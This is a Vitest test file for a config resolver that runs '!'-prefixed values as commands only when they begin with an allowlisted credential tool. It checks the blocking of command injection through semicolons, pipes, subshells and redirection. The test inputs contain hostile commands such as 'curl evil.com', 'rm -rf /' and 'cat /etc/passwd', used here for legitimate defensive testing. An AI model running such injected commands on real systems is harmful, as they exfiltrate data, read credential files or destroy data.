import assert from "node:assert/strict";
import { afterEach, beforeEach, describe, it } from "vitest";
import {
	clearConfigValueCache,
	getAllowedCommandPrefixes,
	resolveConfigValue,
	SAFE_COMMAND_PREFIXES,
	setAllowedCommandPrefixes,
} from "./resolve-config-value.js";

beforeEach(() => {
	clearConfigValueCache();
});

describe("SAFE_COMMAND_PREFIXES", () => {
	it("exports the allowlist array", () => {
		assert.ok(Array.isArray(SAFE_COMMAND_PREFIXES));
		assert.ok(SAFE_COMMAND_PREFIXES.length > 0);
	});

	it("includes expected credential tools", () => {
		assert.ok(SAFE_COMMAND_PREFIXES.includes("pass"));
		assert.ok(SAFE_COMMAND_PREFIXES.includes("op"));
		assert.ok(SAFE_COMMAND_PREFIXES.includes("aws"));
	});
});

describe("resolveConfigValue — non-command values", () => {
	it("returns the literal value when it does not match an env var", () => {
		const result = resolveConfigValue("my-literal-key");
		assert.equal(result, "my-literal-key");
	});

	it("returns the env var value when the config matches an env var name", () => {
		process.env["TEST_RESOLVE_CONFIG_VAR"] = "env-value";
		const result = resolveConfigValue("TEST_RESOLVE_CONFIG_VAR");
		assert.equal(result, "env-value");
		delete process.env["TEST_RESOLVE_CONFIG_VAR"];
	});
});

describe("resolveConfigValue — command allowlist enforcement", () => {
	it("blocks a disallowed command and returns undefined", () => {
		const stderrChunks: string[] = [];
		const originalWrite = process.stderr.write.bind(process.stderr);
		process.stderr.write = (
			chunk: string | Uint8Array,
			..._args: unknown[]
		) => {
			stderrChunks.push(chunk.toString());
			return true;
		};
		try {
			const result = resolveConfigValue("!curl http://evil.com");
			assert.equal(result, undefined);
			assert.ok(stderrChunks.some((line) => line.includes("curl")));
		} finally {
			process.stderr.write = originalWrite;
		}
	});

	it("blocks another disallowed command (rm)", () => {
		const result = resolveConfigValue("!rm -rf /tmp/test");
		assert.equal(result, undefined);
	});

	it("blocks a disallowed command with no arguments", () => {
		const result = resolveConfigValue("!wget");
		assert.equal(result, undefined);
	});

	it("allows a safe command prefix to proceed to execution", () => {
		// `pass` is unlikely to be installed in CI, so we just verify it does NOT
		// return undefined due to the allowlist check — it may return undefined if
		// the binary is absent, but the block path must not be taken.
		// We confirm by checking no "Blocked" message appears on stderr.
		const stderrChunks: string[] = [];
		const originalWrite = process.stderr.write.bind(process.stderr);
		process.stderr.write = (
			chunk: string | Uint8Array,
			..._args: unknown[]
		) => {
			stderrChunks.push(chunk.toString());
			return true;
		};
		try {
			resolveConfigValue("!pass show nonexistent-entry-for-test");
			const blocked = stderrChunks.some((line) =>
				line.includes("Blocked disallowed command"),
			);
			assert.equal(
				blocked,
				false,
				"pass should not be blocked by the allowlist",
			);
		} finally {
			process.stderr.write = originalWrite;
		}
	});
});

describe("resolveConfigValue — shell operator bypass prevention", () => {
	it("blocks semicolon chaining (pass; malicious)", () => {
		const result = resolveConfigValue("!pass show key; curl http://evil.com");
		assert.equal(result, undefined);
	});

	it("blocks pipe operator (pass | evil)", () => {
		const result = resolveConfigValue("!pass show key | cat /etc/passwd");
		assert.equal(result, undefined);
	});

	it("blocks && chaining (pass && evil)", () => {
		const result = resolveConfigValue("!pass show key && rm -rf /");
		assert.equal(result, undefined);
	});

	it("blocks || chaining (pass || evil)", () => {
		const result = resolveConfigValue("!pass show key || curl evil.com");
		assert.equal(result, undefined);
	});

	it("blocks backtick subshell (pass `evil`)", () => {
		const result = resolveConfigValue("!pass show `curl evil.com`");
		assert.equal(result, undefined);
	});

	it("blocks $() subshell (pass $(evil))", () => {
		const result = resolveConfigValue("!pass show $(curl evil.com)");
		assert.equal(result, undefined);
	});

	it("blocks output redirection (pass > file)", () => {
		const result = resolveConfigValue("!pass show key > /tmp/stolen");
		assert.equal(result, undefined);
	});

	it("blocks input redirection (pass < file)", () => {
		const result = resolveConfigValue("!pass show key < /dev/null");
		assert.equal(result, undefined);
	});

	it("writes stderr warning when shell operators detected", () => {
		const stderrChunks: string[] = [];
		const originalWrite = process.stderr.write.bind(process.stderr);
		process.stderr.write = (
			chunk: string | Uint8Array,
			..._args: unknown[]
		) => {
			stderrChunks.push(chunk.toString());
			return true;
		};
		try {
			resolveConfigValue("!pass show key; curl evil.com");
			assert.ok(stderrChunks.some((line) => line.includes("shell operators")));
		} finally {
			process.stderr.write = originalWrite;
		}
	});
});

describe("resolveConfigValue — caching", () => {
	it("caches the result of a blocked command", () => {
		const callCount = { n: 0 };
		const originalWrite = process.stderr.write.bind(process.stderr);
		process.stderr.write = (
			_chunk: string | Uint8Array,
			..._args: unknown[]
		) => {
			callCount.n++;
			return true;
		};
		try {
			resolveConfigValue("!curl http://evil.com");
			resolveConfigValue("!curl http://evil.com");
			// The block warning should only fire once; the second call hits the cache
			// before reaching the allowlist check, so stderr count is 1.
			assert.equal(callCount.n, 1);
		} finally {
			process.stderr.write = originalWrite;
		}
	});

	it("clearConfigValueCache resets cached entries", () => {
		const stderrChunks: string[] = [];
		const originalWrite = process.stderr.write.bind(process.stderr);
		process.stderr.write = (
			chunk: string | Uint8Array,
			..._args: unknown[]
		) => {
			stderrChunks.push(chunk.toString());
			return true;
		};
		try {
			resolveConfigValue("!curl http://evil.com");
			assert.equal(stderrChunks.length, 1);

			clearConfigValueCache();

			resolveConfigValue("!curl http://evil.com");
			assert.equal(stderrChunks.length, 2);
		} finally {
			process.stderr.write = originalWrite;
		}
	});
});

describe("REGRESSION #666: non-default credential tool blocked with no override", () => {
	afterEach(() => {
		setAllowedCommandPrefixes(SAFE_COMMAND_PREFIXES);
		clearConfigValueCache();
	});

	it("sops is blocked by default, then unblocked by setAllowedCommandPrefixes", () => {
		const stderrChunks: string[] = [];
		const originalWrite = process.stderr.write.bind(process.stderr);
		process.stderr.write = (
			chunk: string | Uint8Array,
			..._args: unknown[]
		) => {
			stderrChunks.push(chunk.toString());
			return true;
		};
		try {
			// Bug: sops is not in SAFE_COMMAND_PREFIXES, so it's blocked
			const result = resolveConfigValue(
				"!sops decrypt --output-type json secrets.enc.json",
			);
			assert.equal(
				result,
				undefined,
				"sops is blocked by the hardcoded allowlist",
			);
			assert.ok(
				stderrChunks.some((line) =>
					line.includes('Blocked disallowed command: "sops"'),
				),
				"should log a block message for sops",
			);

			stderrChunks.length = 0;
			clearConfigValueCache();

			// Fix: override the allowlist to include sops
			setAllowedCommandPrefixes([...SAFE_COMMAND_PREFIXES, "sops"]);
			resolveConfigValue("!sops decrypt --output-type json secrets.enc.json");

			const blockedAfterOverride = stderrChunks.some((line) =>
				line.includes("Blocked disallowed command"),
			);
			assert.equal(
				blockedAfterOverride,
				false,
				"sops must not be blocked after override",
			);
		} finally {
			process.stderr.write = originalWrite;
		}
	});
});

describe("setAllowedCommandPrefixes — user override", () => {
	afterEach(() => {
		setAllowedCommandPrefixes(SAFE_COMMAND_PREFIXES);
		clearConfigValueCache();
	});

	it("overrides built-in prefixes with custom list", () => {
		setAllowedCommandPrefixes(["sops", "doppler"]);
		assert.deepEqual([...getAllowedCommandPrefixes()], ["sops", "doppler"]);
	});

	it("custom prefix is allowed through to execution", () => {
		const stderrChunks: string[] = [];
		const originalWrite = process.stderr.write.bind(process.stderr);
		process.stderr.write = (
			chunk: string | Uint8Array,
			..._args: unknown[]
		) => {
			stderrChunks.push(chunk.toString());
			return true;
		};
		try {
			setAllowedCommandPrefixes(["mycli"]);
			resolveConfigValue("!mycli get-secret");
			const blocked = stderrChunks.some((line) =>
				line.includes("Blocked disallowed command"),
			);
			assert.equal(
				blocked,
				false,
				"mycli should not be blocked when in the custom allowlist",
			);
		} finally {
			process.stderr.write = originalWrite;
		}
	});

	it("previously-allowed prefix is blocked after override", () => {
		const stderrChunks: string[] = [];
		const originalWrite = process.stderr.write.bind(process.stderr);
		process.stderr.write = (
			chunk: string | Uint8Array,
			..._args: unknown[]
		) => {
			stderrChunks.push(chunk.toString());
			return true;
		};
		try {
			setAllowedCommandPrefixes(["sops"]);
			const result = resolveConfigValue("!pass show secret");
			assert.equal(result, undefined);
			const blocked = stderrChunks.some((line) =>
				line.includes("Blocked disallowed command"),
			);
			assert.equal(
				blocked,
				true,
				"pass should be blocked when not in the custom allowlist",
			);
		} finally {
			process.stderr.write = originalWrite;
		}
	});

	it("clears cache when overriding prefixes", () => {
		const stderrChunks: string[] = [];
		const originalWrite = process.stderr.write.bind(process.stderr);
		process.stderr.write = (
			chunk: string | Uint8Array,
			..._args: unknown[]
		) => {
			stderrChunks.push(chunk.toString());
			return true;
		};
		try {
			resolveConfigValue("!mycli get-secret");
			assert.ok(stderrChunks.some((line) => line.includes("Blocked")));

			stderrChunks.length = 0;

			setAllowedCommandPrefixes(["mycli"]);
			resolveConfigValue("!mycli get-secret");
			const blocked = stderrChunks.some((line) => line.includes("Blocked"));
			assert.equal(blocked, false, "Should re-evaluate after allowlist change");
		} finally {
			process.stderr.write = originalWrite;
		}
	});
});
